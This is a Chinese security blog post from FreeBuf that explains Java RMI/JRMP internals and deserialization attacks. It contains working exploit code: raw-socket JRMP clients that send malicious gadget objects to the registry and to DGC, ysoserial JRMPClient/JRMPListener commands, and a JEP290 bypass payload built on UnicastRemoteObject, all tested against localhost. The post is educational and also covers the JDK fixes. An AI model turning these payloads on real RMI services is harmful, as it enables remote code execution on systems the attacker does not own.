freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

从JRMP协议理解RMI漏洞原理
SnaiL_ 2023-05-07 21:35:21 260096
所属地 四川省

前言

之前第一次学RMI时跟踪了RMI服务端和客户端的所有交互过程,以及JRMP协议的解析过程,找到了每个反序列化点,然后就以为自己RMI学完了,最后和别人交流时发现怎么利用?怎么绕过?JEP290是什么一问三不知。于是又重新拾起原来仅存的一点记忆重新开始学习RMI。

过去回顾

RMI是RPC(远程过程调用)在Java中的一种实现,它使用JRMP作为底层消息传输协议,在RMI服务中有三个参与者。

  • Registry

  • Server

  • Client

Registry中存储了所有远程对象的地址,RegistryImpl是它的具体实现,Client在访问远程对象之前要先去注册中心查找远程对象,他会返回远程对象对应的代理对象。然后Client拿着代理对象对调用远程方法,最后参数就会通过序列化传递到Server,Server执行完成后通过再将结果反序列化发送给Client。一般注册中心和服务端都在同一台计算机上,他们的创建流程大概如下。

image-20230422200455362.png

远程对象一般需要继承UnicastRemoteObject类,然后显式实现一个无参的构造函数,最后实际上都是执行的UnicastRemoteObject的钩构造函数。最后exportObject实际上就是创建一个端口监听,等待客户端端的访问。下面是UnicastRemoteObject和Registry相关的类继承图。

image-20230422193017044.png

最后所有的代理对象和实现类(RegistryImpl和自定义的远程对象)会被封装到Target对象中保存到ObjectTable.objTable中。绑定的对象最后会被保存在RegistryImpl.bindings中。JRMP协议详情在sun.rmi.transport.tcp.TCPTransport.ConnectionHandler#run0方法中。

新的理解

UnicastServerRef和UnicastRef

这两个类是在rmi中有相当大的作用,他们主要负责处理网络相关的连接,他们有什么联系和区别呢?首先看一下它们的类继承图

image-20230504184609496.png

可以看到UnicastServerRef是UnicastRef的子类,同时他们都是可序列化的。

在UnicastRef中有一个LiveRef属性,它是用于管理socket来进行数据传输的类。

我们可以继续跟进他们的源码看一下区别

050418501203_0屏幕截图.jpeg

UnicastServerRef中主要是exportObject,dispatch等方法。UnicastRef中主要是invoke,marshalValue等方法。

更近一步分析知道UnicastServerRef一般都存在与服务端的对象属性中,而UnicastRef一般都存在于客户端的对象中。进一步印证可以查看UnicastRemoteObject对象实例方法和Util.createProxy创建远程代理对象,前者会创建UnicastServerRef对象,后者创建的代理对象中都会采用UnicastRef对LiveRef对象封装。

createProxy方法创建的就是Stub或者远程代理对象,即lookup方法返回给客户端的代理对象。

JRMP协议初探

前面大致介绍了客户和服务端对象的创建与调用以及UnicastServerRef和UnicastRef对象,现在可以介绍一下JRMP基础知识了。我们知道计算机中之间只要通信就会有一个通信标准,这个标准就是通信协议。协议中规定了每个字段的含义,在RMI中底层socket通信的标准就是按照JRMP协议来的。这部分源码主要就从TCPTransport.ConnectionHandler#run0开始.

服务端的流程大致如下图所示

RMI基础.png

客户端的流程大致如下。

RMI基础 (1).png

客户端的对象都是由Util.createProxy方法创建的代理对象,最后调用时首先会执行代理对象的invoke方法,最后经过调用链到达UnicastRef#invoke方法。

从上面的流程图总结一下服务端的几个反序列化点

  • RegistryImpl_skel和DGCImpl_skel中调用bind,lookup,dirty等方法时反序列化读取客户端传递的参数值

  • 对于远程对象的方法参数值的读取(UnicastServerRef#dispatch -> UnicastRef#unmarshalValue)

客户端的的几个反序列化点

  • RegistryImpl_Stub和DGCImpl_Stub中远程方法(lookup/list/dirty)的返回值

  • 客户端调用UnicastRef.unmarshalValue反序列化读取远程方法的返回值

  • 客户端反序列化读取远程方法执行时出错抛出的异常类

DGC的创建与调用

前面一直都没说过DGC,同时在第一次学RMI的时候也没怎么仔细了解过DGC。感觉从RMI的功能上讲它没有直接相关的体现,就感觉它没有那么重要。实际上从安全来讲,它才是真正的关键,包括后面JEP290的绕过也利用了DGC。

DGC是分布式垃圾回收机制,每个变成语言中都有内存管理的方法,如果不对之前分配的内存管理就可能会导致内存泄露。在Jvm中为每个对象都维护了一个引用值,每当有一个变量指向该对象的内存时,该值就会加1,不再指向时则-1,当最后执行值为0时,jvm就会自动将该对象占用的内存清除。在RMI服务中,一个远程对象,不仅有当前jvm的引用,还可能存在远程主机的引用,所以引入了分布式垃圾回收,它同时会监测远程主机的状态。远程主机每过一定时间就需要给服务端发送一次状态以维持对远程对象的引用,否则就可能会被回收。

但在我们之前介绍的时候以及源码分析的时候都没见过它,因为它总是在不经意间默默的发挥作用。

image-20230504201842920.png

我们在源码分析的时候遇到上面的代码时可能就简单的以为是日志打印就跳过去了。实际上我们发现它这是调用了DGCImpl的静态变量dgcLog,在这个过程中会对类进行初始化,调用其中静态代码块中的内容然后执行。所以我们跟进DGCImpl类中的静态代码块。

image-20230504202630321.png

可以看到这里可前面创建RegistryImpl对象时很类似,也创建了DGCImpl_skel,DGCImpl_Stub对象,以及封装Target对象,就不再细讲了。

不知道有没有人和我有一样的疑惑就是它怎么没有调用exportObject导出对象,最后怎么还是能正常调用它的方法呢?

这个问题纠结了我好一会,最后发现对于服务端虽然每个远程对象实例化都会创建UnicastServerRef,LiveRef等对象,但实际上最后所有远程对象监听的端口都是同一个端口,其中的猫腻就在TCPEndpoint#getLocalEndpoint方法中,这里就不再细说了,有兴趣的可以跟进去看一下。

上面是服务端的创建,在客户端什么时候创建的DGC呢?我们通过抓包可以发现在获取到远程对象之后还没有调用远程方法之前就会发起一个新的远程连接。

image-20230506195928865.png

从数据包中内容可以看出是调用的DGC的dirty方法。从反序列化远程对象的点开始跟踪调试,由于我们最后反序列化远程对象是在RegistryImpl_Stub中实现的,但这个类不能下断点,只能在它调用其他类中的方法下断点。最后一直执行完readObject方法都没发起新的连接,说明新连接是最后这个UnicastRef#done中发起的。

image-20230506200832419.png

最后一路跟踪sun.rmi.transport.DGCClient.EndpointEntry#EndpointEntry方法中在RenewCleanThread类里面调用了makeDirtyCall发起了ditry远程调用。

image-20230506201850726.png

调用栈如下

<init>:263, DGCClient$EndpointEntry (sun.rmi.transport)
lookup:237, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:155, DGCClient (sun.rmi.transport)
registerRefs:94, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
done:313, StreamRemoteCall (sun.rmi.transport)
done:451, UnicastRef (sun.rmi.server)
lookup:-1, RegistryImpl_Stub (sun.rmi.registry)
lookup:101, Naming (java.rmi)
main:8, Main (com.snail)

JEP290之前利用方法

这里主要根据反序列化点可以大致分为以下三类,因为只要调用了ObjectInputStream#readObject方法就会调用反序列化链。其实从底层来看,不管是客户端还是服务端都是按照JRMP协议使用soket发送数据数据,然后根据读取的内容决定程序的走向,一直走到readObjet语句之前,当继续读到的数据是一串恶意的反序列化数据那么就会导致非法的反序列化导致命令执行等操作。所以不管是客户端打服务端还是服务端打客户端,只要在找到对应的反序列化点,然后控制在那个点给它传递一个恶意的反序列化数据就会导致命令执行。所以下面的代码主要都是直接从socket直接实现JRMP协议的角度出发的。

远程方法的调用

我原来一直以为这才是RMI利用的主要方式(都还没考虑过方法参数的问题),现在才发现实际上这种方法是比较鸡肋的。因为当我们面对一个完全陌生的RMI服务时,我们可以通过list获取到它的远程对象名,然后通过lookup获取到它的代理对象,但无法获取它的方法名以及参数类型。原来刚开始学的时候还有个小误解就是以为必须要远程方法的参数类型是Object才可以被利用,这个其实是不一定的。我们可以从服务端读取参数的方法(UnicastRef#unmarshalValue)中看到,只要不是基本数据类型它最后都会按Object读取。然后根据前面说的,我们完全可以自实现服务端和客户端,所以这个条件不是必须的。下面就是socket调用远程方法的一个简单的demo。

Socket s=null;
DataOutputStream dos = null;
int opcode = 0;
try {//服务端的端口,ObjID等信息都可以从lookup返回的代理对象中获取,但MethodHash不能
    s = SocketFactory.getDefault().createSocket("127.0.0.1", 36650);
    s.setKeepAlive(true);
    s.setTcpNoDelay(true);

    OutputStream os = s.getOutputStream();
    dos = new DataOutputStream(os);

    dos.writeInt(TransportConstants.Magic);
    dos.writeShort(TransportConstants.Version);
    dos.writeByte(TransportConstants.SingleOpProtocol);

    dos.write(TransportConstants.Call);

    final ObjectOutputStream objOut = new MarshalOutputStream(dos);

    //ObjID
    objOut.writeLong(0xd36a17b483db3bf6L); // ServerObjID objNum
    objOut.writeInt(0xfeea4dd5);  // unique
    objOut.writeLong(0x00000187ec856d29L); // time
    objOut.writeShort(0x8001); // count

    objOut.writeInt(-1);
    long methodhash = Util.computeMethodHash(rmiObject1.class.getDeclaredMethod("SayHello",String.class));
    objOut.writeLong(methodhash);  //methodHashcode

    //method params
    objOut.writeObject(Utils.generateObject("cc1"));

    os.flush();
}
catch (Exception exception){
    exception.printStackTrace();
}
finally {
    if ( dos != null ) {
        dos.close();
    }
    if ( s != null ) {
        s.close();
    }
}

RegistryImpl类中的四个方法

在RegistryImpl中实际上提供了五个方法bind,unbind,rebind,lookup,list,其中list方法没有参数,所以不能触发反序列化,但我们可以用它来探测RMI服务及其包含的远程对象。这几个方法既可以看作是注册端的远程方法,当我们服务端从注册端请求远程对象是也是由客户端的RegistryImpl_Stub发起的请求。他们各自的参数默认如下

public Remote lookup(String name);
public void bind(String name, Remote obj);
public void unbind(String name);
public void rebind(String name, Remote obj);
public String[] list()

我们知道服务端在解析参数值的时候只要不是基本数据类型都是使用的readObject方法读取。这就是反序列化的利用点,但是我们如果直接简单的将lookup(String name)改成lookup(Object name)在编译时就会报错。

下面就是直接使用socket模拟的JRMP客户端的请求的Demo。

public class AttackRegistry {
    public static void main(String[] args) throws IOException {
        Socket s=null;
        DataOutputStream dos = null;
        int opcode = 2;
        try {
            s = SocketFactory.getDefault().createSocket("127.0.0.1", 1099);
            s.setKeepAlive(true);
            s.setTcpNoDelay(true);

            OutputStream os = s.getOutputStream();
            dos = new DataOutputStream(os);

            dos.writeInt(TransportConstants.Magic);
            dos.writeShort(TransportConstants.Version);
            dos.writeByte(TransportConstants.SingleOpProtocol);

            dos.write(TransportConstants.Call);

            final ObjectOutputStream objOut = new MarshalOutputStream(dos);

            //
            objOut.writeLong(0); // REGISTRY_ID
            objOut.writeInt(0);
            objOut.writeLong(0);
            objOut.writeShort(0);

            switch (opcode){
                case 0:
                    objOut.writeInt(0); // bind
                    objOut.writeLong(4905912898345647071L);
                    //bind params
                    objOut.writeObject("xxx");
                    objOut.writeObject(Utils.generateObject("RefObject"));
                    break;
                case 1:
                    objOut.writeInt(1); // list
                    objOut.writeLong(4905912898345647071L);

                    break;
                case 2:
                    objOut.writeInt(2); // lookup
                    objOut.writeLong(4905912898345647071L);
                    //lookup param
                    objOut.writeObject(Utils.generateObject("RefObject"));
                    break;
                case 3:
                    objOut.writeInt(3); // rebind
                    objOut.writeLong(4905912898345647071L);
                    //rebind params
                    objOut.writeObject("payload1");
                    objOut.writeObject("payload2");
                    break;
                case 4:
                    objOut.writeInt(4); // unbind
                    objOut.writeLong(4905912898345647071L);
                    //unbind params
                    objOut.writeObject("payload1");
                    break;
                default:
                    System.out.println("opcode error!");
            }
            os.flush();
        }
        catch (Exception exception){
            exception.printStackTrace();
        }
        finally {
            if ( dos != null ) {
                dos.close();
            }
            if ( s != null ) {
                s.close();
            }
        }
    }
}

DGC客户端和服务端的利用

在DGCImpl中有只有两个方法。

public Lease dirty(ObjID[] ids, long sequenceNum, Lease lease);
public void clean(ObjID[] ids, long sequenceNum, VMID vmid, boolean strong);

我们前面之所以说远程方法的利用比较鸡肋,是因为远程对象中的远程方法接口我们都是位置的,如果在知道的情况下也是可以很容易被利用的。而对于DGC的服务端来说它对外的远程方法接口是固定的,所以我们就可以直接调用它的远程接口导致反序列化攻击。

public class Exploit {

    public static void main(String[] args) throws Exception {
        Socket s=null;
        DataOutputStream dos = null;
        try {
            s = SocketFactory.getDefault().createSocket("127.0.0.1", 1099);
            s.setKeepAlive(true);
            s.setTcpNoDelay(true);

            OutputStream os = s.getOutputStream();
            dos = new DataOutputStream(os);

            dos.writeInt(TransportConstants.Magic);
            dos.writeShort(TransportConstants.Version);
            dos.writeByte(TransportConstants.SingleOpProtocol);

            dos.write(TransportConstants.Call);

            final ObjectOutputStream objOut = new MarshalOutputStream(dos);

            objOut.writeLong(2); // DGC_ID
            objOut.writeInt(0);
            objOut.writeLong(0);
            objOut.writeShort(0);

            objOut.writeInt(1); // dirty
            objOut.writeLong(-669196253586618813L);

            objOut.writeObject(Utils.generateObject("cc6"));

            os.flush();
        }
        catch (Exception exception){
            exception.printStackTrace();
        }
        finally {
            if ( dos != null ) {
                dos.close();
            }
            if ( s != null ) {
                s.close();
            }
        }

    }
}

DGC主要就两个方法dirty和clean,然后都有可以利用的参数。在ysoserial中JRMPClient就是利用DGC客户端打服务端的脚本。

java -cp ysoserial-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections1 "calc"

JEP290之后利用方法

从8u121后jdk就对RMI进行了修复,它在ObjectInput反序列化类底层添加了过滤器。然后分别在RegistryImpl和DGCImpl中添加了白名单过滤方法。

//RegistryImpl
if (String.class == clazz
        || java.lang.Number.class.isAssignableFrom(clazz)
        || Remote.class.isAssignableFrom(clazz)
        || java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
        || UnicastRef.class.isAssignableFrom(clazz)
        || RMIClientSocketFactory.class.isAssignableFrom(clazz)
        || RMIServerSocketFactory.class.isAssignableFrom(clazz)
        || java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)
        || java.rmi.server.UID.class.isAssignableFrom(clazz)) {
    return ObjectInputFilter.Status.ALLOWED;
} else {
    return ObjectInputFilter.Status.REJECTED;
}

//DGCImpl
return (clazz == ObjID.class ||
    clazz == UID.class ||
    clazz == VMID.class ||
    clazz == Lease.class)
    ? ObjectInputFilter.Status.ALLOWED
    : ObjectInputFilter.Status.REJECTED;

在反序列化之前都先给输入流设置了过滤器。

image-20230504230940905.png

image-20230504232651333.png

image-20230504232709149.png

从上面我们可以知道

  • JEP290是采用的白名单过滤,也就是说我们只能传入它指定的类或者其子类才能成功反序列化。

  • 它只对服务端的反序列化点添加了过滤器。

DGC绕过(<8u231)

在RMI中由很多调用readObject方法的点,现在从反序列化的漏洞原理来重新理一下,我们在触发反序列化时首先需要ObjectOutputStream.readObject来触发,这是反序列化的起点,他们在反序列化时又会调用类中自定义的readObject方法,这个是反序列化链。

我们还是从后往前推,由于JEP290对服务端的反序列化的点都做了过滤,所以我们现在只能想办法尝试从服务端发起一个客户端请求。然后联想到之前客户端在反序列化时自动发起了一个DGC的客户端请求,可以试试能不能利用该调用链。从调用链中找到找哪些方法在其他地方也调用过,同时注意调用链中的判断语句,防止由于条件判断导致断链。从调用链的最后一个方法回溯最后找到了StreamRemoteCall#releaseInputStream在UnicastServerRef中调用了。其实还有在RegistryImpl_Skel中的switch语句里面也调用了。

image-20230506210013021.png

现在将继续往下看StreamRemoteCall#releaseInputStream后面的调用链,最后发现在ConnectionInputStream#registerRefs中有一个判断。

void registerRefs() throws IOException {
    if (!incomingRefTable.isEmpty()) {
        for (Map.Entry<Endpoint, List<LiveRef>> entry :
                 incomingRefTable.entrySet()) {
            DGCClient.registerRefs(entry.getKey(), entry.getValue());
        }
    }
}

就是需要incomingRefTable不为空,从源码中对属性的注释上可以大概看出是一个缓存变量。我们跟踪看有哪些地方往该Map中添加了值。

image-20230506210759587.png

最后找到只有在ConnectionInputStream#saveRef中添加了数据,然后继续回溯找到LiveRef.read方法

image-20230506210953899.png

这个方法又在UnicastRef.readExternal中被调用。现在基本上整个调用链就通了。

  1. 先给服务端传递一个UnicastRef对象反序列化,在反序列化中会调用LiveRef#read最后添加incomingRefTable中的值。

  2. 然后代码继续执行执行调用StreamRemoteCall#releaseInputStream,最后调用makeDirtyCall向恶意的JRMP服务器发起一个客户端请求,恶意JRMP服务器的地址就是由UnicastRef指定的。

ysoserial可以直接开启一个恶意的JRMP服务器,它就是使用socket实现了JRMP协议,精准控制了每个字段的值,最后将恶意的反序列化数据写入异常类里面发送给客户端。

下面的案例中攻击代码还是使用前面socket模拟调用RegistryImpl.bind的方法,然后使用ysoserial开启一个恶意的JRMP服务。

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1234 CommonsCollections6 "calc"

image-20230506103735805.png

UnicastRemoteObject绕过(<8u241)

前面通过DGC的绕过方式在8u231中就被修复了,其实前面的绕过方式并不是在反序列化的调用链中直接导致命令执行的,它只是往incomingRefTable中添加了值,不让后续创建DGCImpl的代理对象以及发起远程的dirty方法调用不被阻断。所以在介绍这种绕过之前先来说一下8u231的修复内容。

  1. 在RegistryImpl_Stub中的bind,rebind等方法中反序列化时添加了强制类型转换,当强转出错时就会进入新添加的异常处理StreamRemoteCall#discardPendingRefs用于清空incomingRefTable,防止后面调用releaseInputStream时发起DGC客户端请求。但是整个反序列化流程还是会执行的,只是最后强转时抛出异常。

image-20230506220611551.png

  1. 由于之前DGC绕过的本质是DGCImpl_Stub发起的客户端请求导致反序列化,所以第二处就还对DGCImpl_Stub中dirty方法做了修复,在前面添加了白名单过滤。

image-20230506222014014.png

在这上面这两处的修复后,现在如果还想利用DGC发起客户端请求就比较难了。如果只有第一处修复其实在调用远程接口处都还可以利用一下(虽然很鸡肋),但第二处又专门对DGCImpl_Stub修复了就不行了。

所以这种利用方式就不再是用的DGC了,完全是利用的JRMP协议的反序列化了,我也不知道大佬是怎么想到的。

我们再回去看一下RegistryImpl中的白名单,能想到的估计也就只有remote的子类了。它是所有远程对象的接口,在所有的实现类中找反序列化方法。最后找到了UnicastRemoteObject。它的

private void readObject(java.io.ObjectInputStream in)
    throws java.io.IOException, java.lang.ClassNotFoundException
{
    in.defaultReadObject();
    reexport();
}

private void reexport() throws RemoteException
{
    if (csf == null && ssf == null) {
        exportObject((Remote) this, port);
    } else {
        exportObject((Remote) this, port, csf, ssf);
    }
}

我第一眼看到这时想到是这不是会调用exportObject方法最后创建一个服务端吗,但是服务端的反序列化之前不是说都被修复了吗?但这里的思路不是这样的。之前在学CC1的时候就了解了动态代理在反序列化时的妙用,它会把所有的代理方法执行转向invoke方法,这就不像其他反序列化链中直接调用的那么明显。

这里就是将ssf设置为RemoteObjectInvocationHandler的代理对象,这个对象就是创建远程代理对象时使用的,我们就可以把恶意服务端地址封装到ref属性中。最后在创建服务端时调用ssf的方法时就会转向RemoteObjectInvocationHandler#invoke,后面的调用流程其实就是和客户端一样了。payload如下

UnicastRef unicastRef = new UnicastRef(new LiveRef(new ObjID(ObjID.DGC_ID),new TCPEndpoint("127.0.0.1",1234),false));
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);//将UnicastRef对象封装到代理对象中。

//创建RMIServerSocketFactory接口的代理对象。
RMIServerSocketFactory serverSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
        RMIServerSocketFactory.class.getClassLoader(),// classloader
        new Class[] { RMIServerSocketFactory.class, Remote.class}, // interfaces to implements
        handler// RemoteObjectInvocationHandler
);
//反射创建UnicastRemoteObject并赋值
Class<UnicastRemoteObject> unicastRemoteObjectClass = UnicastRemoteObject.class;
Constructor<?> constructor = unicastRemoteObjectClass.getDeclaredConstructor(null); // 获取默认的
constructor.setAccessible(true);
UnicastRemoteObject remoteObject = (UnicastRemoteObject) constructor.newInstance(null);

Field ssfField = unicastRemoteObjectClass.getDeclaredField("ssf");
ssfField.setAccessible(true);
ssfField.set(remoteObject,serverSocketFactory);

这里还有个小坑,就是如果直接使用ysoserial创建恶意的JRMP服务端会报错。

image-20230507194336889.png

需要在源码中把ysoserial.exploit.JRMPListener.doCall(JRMPListener.java:272)这一行注释掉然后启动就可以了。

image-20230507194544335.png

在8u241之后又对这种绕过方式进行的修复,主要就是在RemoteObjectInvocationHandler#invokeRemoteMethod方法中添加了如下代码

// Verify that the method is declared on an interface that extends Remote
Class<?> decl = method.getDeclaringClass();
if (!Remote.class.isAssignableFrom(decl)) {
    throw new RemoteException("Method is not Remote: " + decl + "::" + method);
}

return ref.invoke((Remote) proxy, method, args,getMethodHash(method));

前面我们调用的方法是RMIServerSocketFactory接口的方式,它与remote接口没有关系。现在修复后会对调用的方法进行检查,若其声明的类不是remote接口的子类则会直接抛出异常。

RMI反制与防范

通过前面知道RMI在利用时服务端和客户端可以互相攻击,那我们在实战中攻击RMI时自己也可能被攻击,所以我们也要防止被反制。从原理上讲,我们为什么会被反制呢,因为按照原生的RMI客户端和服务端的代码流程中在发包后都有反序列化点,所以我们可以可以自己通过soket发包模拟JRMP来防止恶意反序列化数据攻击我们自己。

总结

这一次学RMI就更加注重从安全角度上理解RMI,之前只是从开发的角度,把各个过程分析了一遍,最后别人一问怎么攻击,怎么绕过什么都不知道。整篇文章的攻击主要都是从底层通信的角度出发的,直接从JRMP协议的反序列化点进行攻击。

JEP290之前没有任何防御所有反序列化点都可以直接攻击。

JEP290之后对服务端在反序列化底层做了过滤,所以利用了DGC让服务端发起一个客户端请求访问恶意的服务器。(jdk<8u231)

JEP290之后还有一种绕过还有一种通用的绕过是利用RemoteObjectInvocationHandler创建代理对象,然后在反序列化时直接发起一个客户端请求。(jdk<8u241)

到8u241修复之后基本上就没有利用的方式了。

参考资料

针对RMI服务的九重攻击 - 上

针对RMI服务的九重攻击 - 下

RMI-反序列化

RMI反序列化

漫谈 JEP 290

Java RMI 攻击由浅入深

ysoserial JRMP相关模块分析(二)- payloads/JRMPClient & exploit/JRMPListener - 先知社区 (aliyun.com)

了解分布式垃圾回收

分布式垃圾回收DGC-Api文档

防御Java反序列化–JEP290

BaRMIe

JRMPListener && JRMPClient使用小记

# 网络安全 # web安全 # java反序列化 # RMI漏洞 # JAVA安全
本文为 SnaiL_ 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
SnaiL_ LV.2
这家伙太懒了,还未填写个人描述!
  • 6 文章数
  • 4 关注者
深入理解Shiro反序列化原理
2023-06-15
Java反序列化-CC1续
2023-04-19
Java反序列化-CC1
2023-04-18
文章目录